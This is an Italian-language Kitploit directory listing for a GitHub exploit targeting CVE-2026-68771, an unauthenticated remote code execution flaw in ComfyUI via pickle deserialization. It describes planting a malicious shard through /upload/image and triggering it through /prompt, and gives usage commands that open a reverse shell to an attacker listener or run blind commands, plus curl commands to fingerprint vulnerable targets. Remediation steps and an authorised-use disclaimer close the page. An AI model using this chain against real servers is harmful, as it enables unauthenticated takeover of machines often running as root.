Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-68771_exploit — Exploit non autenticato per CVE-2026-68771, una RCE tramite deserializzazione pickle in ComfyUI. Inietta uno shard appositamente creato tramite /upload/image, lo attiva tramite /prompt ed esegue comandi o apre una reverse shell. | Kitploit
Strumenti/GitHubGitHub/0xdak/cve-2026-68771_exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHub0xdak/cve-2026-68771_exploit

CVE-2026-68771_exploit

Exploit non autenticato per CVE-2026-68771, una RCE tramite deserializzazione pickle in ComfyUI. Inietta uno shard appositamente creato tramite /upload/image, lo attiva tramite /prompt ed esegue comandi o apre una reverse shell.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
117 giorni faNon ancora revisionato

CVE-2026-68771 — RCE non autenticata in ComfyUI tramite deserializzazione Pickle

Esecuzione di codice remota non autenticata in ComfyUI tramite il nodo LoadTrainingDataset.

LoadTrainingDataset.execute() carica gli shard del dataset dalla directory di output del server con torch.load(f) e senza weights_only=True. Su PyTorch < 2.6 (dove weights_only è False di default) un shard_*.pkl appositamente costruito esegue il suo __reduce__ pickle al caricamento (CWE-502). ComfyUI viene distribuito senza autenticazione e la route /upload/image (con type=output) scrive i byte grezzi caricati senza alcun controllo sull'estensione, quindi un .pkl può essere depositato e poi innescato con due richieste non autenticate.

  • Versioni interessate: ComfyUI 0.23.0 su PyTorch < 2.6
  • Porta predefinita: 8188 (non autenticata)
  • CWE: 502 (Deserializzazione di dati non attendibili)
  • Impatto: RCE come utente del processo ComfyUI (comunemente root)

Requisiti

Solo libreria standard di Python 3 — nessuna dipendenza.

Utilizzo

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444

# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'

Il comando viene eseguito sul server; il suo output non viene restituito, quindi usa --shell per una reverse shell (oppure scrivi su un percorso leggibile) per osservare il risultato.

Come funziona

Due richieste non autenticate:

  1. Deposito — POST /upload/image con type=output, subfolder=training_dataset, nome file shard_0000.pkl. La route /upload/image scrive i byte grezzi (nessuna elaborazione delle immagini su quel percorso), quindi il pickle finisce tale e quale in output/training_dataset/shard_0000.pkl. Il __reduce__ del pickle restituisce (os.system, (cmd,)).

  2. Innesco — POST /prompt con un workflow: un nodo LoadTrainingDataset (folder_name=training_dataset) collegato a un nodo di output SaveLatent. Il nodo di output forza ComfyUI a eseguire LoadTrainingDataset, che effettua il glob di e chiama:

Identificare un target

root@kitploit:~
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200  -> vulnerable node present

Rimedio

  • Correzione upstream: caricare gli shard con torch.load(f, weights_only=True).
  • Aggiornare PyTorch a >= 2.6, dove weights_only è True di default e l'unpickler ristretto rifiuta os.system.
  • Non esporre mai ComfyUI a reti non affidabili e non eseguirlo come utente privilegiato.

Disclaimer

Solo per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.

Scarica lo strumento
shard_*.pkl
root@kitploit:~
with open(shard_path, "rb") as f:
    shard_data = torch.load(f)      # no weights_only=True -> runs the pickle on torch < 2.6

Il __reduce__ del pickle esegue os.system(cmd) durante la deserializzazione.